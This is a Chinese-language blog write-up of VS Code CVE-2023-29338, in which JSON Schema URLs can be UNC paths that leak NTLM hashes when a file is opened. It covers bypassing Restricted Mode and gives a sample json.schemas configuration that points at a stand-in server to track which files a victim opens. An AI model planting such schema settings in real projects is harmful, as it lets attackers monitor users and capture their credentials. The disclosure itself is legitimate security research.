VSCode CVE-2023-29338
2023-6-7 08:17:54 Author: blog.xlab.app(查看原文) 阅读量:58 收藏

VSCode CVE-2023-29338

CVE-2023-29338

VS Code Information Disclosure Vulnerability

https://github.com/microsoft/vscode/security/advisories/GHSA-mmfh-4pv3-39hr

VS Code打开包含UNC路径数据的文件时,会导致NTLM hashes泄露

注意不是打开UNC路径的文件,只是文件中包含UNC路径

漏洞发现

在VS Code中可以自定义JSON Schema

The association of a JSON file to a schema can be done either in the JSON file itself using the $schema attribute, or in the User or Workspace settings (File > Preferences > Settings) under the property json.schemas.
https://code.visualstudio.com/docs/languages/json#_json-schemas-and-settings

可以在设置中配置,类似这样

1
2
3
4
5
6
7
8
9
10
{
"json.schemas": [
{
"fileMatch": [
".babelrc.json"
],
"url": "https://json.schemastore.org/babelrc.json"
},
]
}

或者在文件中配置

1
2
3
4
{
"$schema": "https://json.schemastore.org/babelrc.json",
"somekey": "abcd"
}

这里就引入问题了,schema文件是由VS Code远程加载并解析的

然而这个远程地址不仅仅支持http,在Windows中还可以是一个UNC路径

后面也去看了VS Code代码,支持文件路径,file协议之类的,其他的schema就不支持了,不然就是另一个故事

CSRF?

其实最早这个洞我是作为CSRF来对待的,在测试VS Code的各种环境后,发现这个漏洞非常通用

除了常见的桌面端,还有VSCode Web和VSCode Remote都可以利用

桌面端不必多说,直接从本机发起请求

VSCode Web是从浏览器发出,发一个fetch的跨域请求,可能可以结合当前域进行CSRF,跨域也不会带cookie,总体价值不大,没有细看了

VSCode Remote是从远程机器发出,这个就比较有趣了,GitHub Codespaces也是用的VS Code Remote,GitHub Codespaces也有Windows机器,然后机器基本都在Azure上,也可能是这个原因漏洞给的钱多吧

Restricted Mode Bypass

这里提到的所有利用都可以在Restricted Mode中复现,工作区信任并不能缓解

有趣的利用

非JSON文件

前面提到这个依赖打开JSON文件,触发JSON Schema的功能

利用Automatic language detection功能,无后缀的文件也能触发,只要内容是JSON就行

https://code.visualstudio.com/updates/v1_60#_automatic-language-detection

文件探针

合理的设置fileMatchurl能够实现监控受害者打开文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"json.schemas": [
{
"fileMatch": [
"file1.json"
],
"url": "http://server/file1"
},
{
"fileMatch": [
"file2.json"
],
"url": "http://server/file2"
},
{
"fileMatch": [
"file3"
],
"url": "http://server/file3"
}
]
}

Fix

commit应该是在底层加了UNC路径的访问控制,通过白名单配置

Timeline

  • 2023.01.31 报告给微软
  • 2023.02.11 开始修复
  • 2023.05.15 修复完成

文章来源: https://blog.xlab.app/p/3cee4c33/
如有侵权请联系:admin#unsafe.sh